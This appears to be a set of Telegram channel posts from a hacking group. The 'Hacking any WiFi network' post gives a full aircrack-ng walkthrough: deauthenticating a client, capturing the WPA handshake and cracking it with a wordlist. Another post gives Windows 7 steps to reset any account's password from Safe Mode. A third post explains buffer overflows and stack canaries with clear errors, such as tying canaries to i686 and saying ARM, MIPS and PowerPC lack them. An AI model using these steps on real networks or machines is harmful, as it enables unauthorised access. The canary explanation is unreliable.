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easily run jadx-gui on termux-x11 with jadx latest build available on github.

Only for android newer version on xiaomi device enable this option so you can enable accessibility service for the app

The wlan0 like shown up here could be any network interface u have :)

- Hacking any WiFi network $ airmon-ng start wlan0 $ iwconfig wlan0mon Mode:Monitor $ airodump-ng wlan0mon BSSID CH ESSID 00:AC:E0:DD:96:A0 11 Angela's Network $ airodump-ng -d 00:AC:E0:DD:96:A0 -c 11 wlan0mon $ airodump-ng -d 00:AC:E0:DD:96:A0 -w file_name_here -c 11 wlan0mon BSSID Station Frames 00:AC:E0:00:96:A0 36:75:67:72:48:F4 11494 # Deauthentication attack $ aireplay-ng -0 10 -a 00:AC:E0:DD:96:A0 -c 36:75:67:72:48:F4 wlan0mon WPA handshake: 00:AC:E0:DD:96:A0 $ ls file_name_here-01.cap file_name_here-01.kismet file_name_here-01.kismet file_name_here-01.csv $ aircrack-ng -w /usr/share/wordlists/rockyou.txt file_name_here-01.cap Current passphrase: 123456798 KEY FOUND! [ 123456798 ] $ airmon-ng stop wlan0mon $ systemctl restart net* Written by @deletuserbot https://t.me/schdenfreude -=[ Schadenfreude Reversing Group ]=-

Reset Windows 7 Password *. Turn on your computer, when logo appear type F8 to enter advanced boot options *. If F8 not work, u can find out on google what boot key works on your computer *. Select: Safe mode with Command Prompt cmd> net user # List users cmd> net user <name> * cmd> control userpasswords2 cmd> shutdown -r Written by @deletuserbot https://t.me/schdenfreude -=[ Schadenfreude Reversing Group ]=-

i686 is not good for performing CTF challenge buffer overflow because it has a stack canary. A stack canary is a security feature that can help to prevent buffer overflow attacks. When a stack canary is enabled, the stack will contain a random value that is checked before each function call. If the value is changed, then it is likely that a buffer overflow has occurred. Buffer overflow attacks work by overwriting the return address on the stack with the address of a malicious function. When the function returns, it will execute the malicious code instead of the intended code. However, if there is a stack canary, then the malicious code will not be able to overwrite the return address because the canary will be changed. Therefore, i686 is not good for performing CTF challenge buffer overflow because it has a stack canary. However, there are other platforms that do not have stack canaries, such as x86_64. If you are looking to perform CTF challenge buffer overflow, then you should use a platform that does not have a stack canary. Here are some other platforms that do not have stack canaries: * ARM * MIPS * PowerPC These platforms are often used in CTF challenges because they are more vulnerable to buffer overflow attacks. However, it is important to note that there are other security features that can help to prevent buffer overflow attacks, such as address space layout randomization (ASLR). ASLR randomizes the addresses of important system objects, such as the stack and the heap. This makes it more difficult for an attacker to exploit a buffer overflow vulnerability. Therefore, even if you are using a platform that does not have a stack canary, you should still be aware of other security features that can help to prevent buffer overflow attacks. Written by @deletuserbot https://t.me/schdenfreude -=[ Schadenfreude Reversing Group ]=-